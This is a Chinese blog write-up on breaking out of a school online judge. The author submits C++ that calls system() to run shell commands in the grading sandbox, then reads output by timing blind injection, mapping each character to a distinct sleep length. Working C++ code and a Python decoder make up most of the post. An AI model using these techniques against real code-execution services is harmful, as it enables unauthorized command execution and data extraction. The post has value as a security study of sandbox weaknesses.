前言
以前看过一篇Windows上搭OJ被C#打穿的文章,刚好测测学校的OJ。
 这里没有过多的研究其余的可能利用点,仅仅是简单记录下过程,一些思路的启发。
测试过程
首先看支持的代码类型:
 
尝试了Java发现不能import,那Java就没用了。
 所幸是Linux上的C++,只要有cstdlib就可以system
如何判断能否执行命令呢?
 可以通过时间回显来判断。(后面会有具体代码演示)
 尝试发现可以执行一般的Linux命令,尝试ping vps,发现并不出网。
 评测机应该是docker不出网环境。
 那么命令执行的结果就只能通过时间盲注来判断了。
 比如sleep(1)这种。
然后呢,为了更高效的盲注,想了一招:拆分时间gap来区分不同的字符,然后一次性将a~zA~Z0~9/-_全部判断完。
 不然一个字符就得注六十多次。。。
一些测试代码如下:(GPT写的,能跑就行,楽)
#include <iostream>
#include <cstdlib> // For system()
#include <unistd.h> // For sleep()
int main() {
    // 执行命令,检查结果并进行睡眠
    int result = system("if [ $(pwd | head -c 1) = 'a' ]; then sleep 1; fi");
    // 检查命令执行是否成功
    if (result == -1) {
        std::cerr << "Failed to execute command" << std::endl;
        return 1;
    }
    return 0;
}

那么就可以根据这种时间回显来盲注字符
#include <iostream>
#include <cstdlib>  // For system()
#include <fstream>  // For std::ifstream
#include <unistd.h> // For usleep()
// 从文件中获取指定位置的字符(从 1 开始)
char getCharacterFromFile(const std::string& filepath) {
    std::ifstream file(filepath);
    if (!file) {
        std::cerr << "Failed to open file" << std::endl;
        return '\0';
    }
    
    char ch;
    file.get(ch); // 读取一个字符
    file.close();
    return ch;
}
int main() {
    size_t position = 1;  // 修改这个值以提取不同位置的字符,例如1, 2, 3
    
    // 使用 system 命令提取指定字符到临时文件
    std::string command = "pwd | cut -c " + std::to_string(position) + " > /tmp/char_at_position.txt";
    int result = system(command.c_str());
    if (result != 0) {
        std::cerr << "Failed to execute command" << std::endl;
        return 1;
    }
    // 获取文件中的指定字符
    char charAtPosition = getCharacterFromFile("/tmp/char_at_position.txt");
    
    // 计算睡眠时间
    unsigned int sleepTime = 0;
    
    if (charAtPosition >= 'a' && charAtPosition <= 'z') {
        sleepTime = (charAtPosition - 'a' + 1) * 10; // a = 10ms, b = 20ms, ..., z = 260ms
    } else if (charAtPosition >= 'A' && charAtPosition <= 'Z') {
        sleepTime = (charAtPosition - 'A' + 1 + 26) * 10; // A = 270ms, B = 280ms, ..., Z = 520ms
    } else if (charAtPosition >= '0' && charAtPosition <= '9') {
        sleepTime = (charAtPosition - '0' + 1 + 52) * 10; // 0 = 530ms, 1 = 540ms, ..., 9 = 620ms
    } else if (charAtPosition == '/') {
        sleepTime = 630; // 定义字符 '/' 的 sleep 时间
    } else if (charAtPosition == '-') {
        sleepTime = 640; // 定义字符 '-' 的 sleep 时间
    } else if (charAtPosition == '_') {
        sleepTime = 650; // 定义字符 '_' 的 sleep 时间
    }
    // 执行睡眠操作
    if (sleepTime > 0) {
        std::cout << "Sleeping for " << sleepTime << " milliseconds." << std::endl;
        usleep(sleepTime * 1000); // usleep 以微秒为单位
    } else {
        std::cout << "The character at the specified position is not in the range a-z, A-Z, 0-9, /, -, or _. No sleep." << std::endl;
    }
    // 删除临时文件
    system("rm /tmp/char_at_position.txt");
    return 0;
}

说明第一个是’/’
 后面的就可以这么依次注出来了。
这里再测试后面几个字符:
 
然后python写个转换映射:
# 创建一个空字典用于反向映射
reverse_sleep_times = {}
# 计算小写字母的睡眠时间并填充反向映射
for i in range(ord('a'), ord('z') + 1):
    char = chr(i)
    sleep_time = (i - ord('a') + 1) * 10
    reverse_sleep_times[sleep_time] = char
# 计算大写字母的睡眠时间并填充反向映射
for i in range(ord('A'), ord('Z') + 1):
    char = chr(i)
    sleep_time = (i - ord('A') + 1 + 26) * 10
    reverse_sleep_times[sleep_time] = char
# 计算数字的睡眠时间并填充反向映射
for i in range(ord('0'), ord('9') + 1):
    char = chr(i)
    sleep_time = (i - ord('0') + 1 + 52) * 10
    reverse_sleep_times[sleep_time] = char
# 计算特殊字符的睡眠时间并填充反向映射
special_chars = {'/': 630, '-': 640, '_': 650}
for char, time in special_chars.items():
    reverse_sleep_times[time] = char
table = reverse_sleep_times
while True:
    num = input("> ").strip()
    num = int(num)
    print(table[num])
    
    

大概能判断出是 /test
 为了更清晰的辨认当然可以使时间gap更大,这里就不再演示了。


















![环境配置 --- miniconda安装torch报错OSError: [WinError 126] 找不到指定的模块](https://i-blog.csdnimg.cn/direct/b2ca6d2bccbc489582c867423c9d52bd.png)
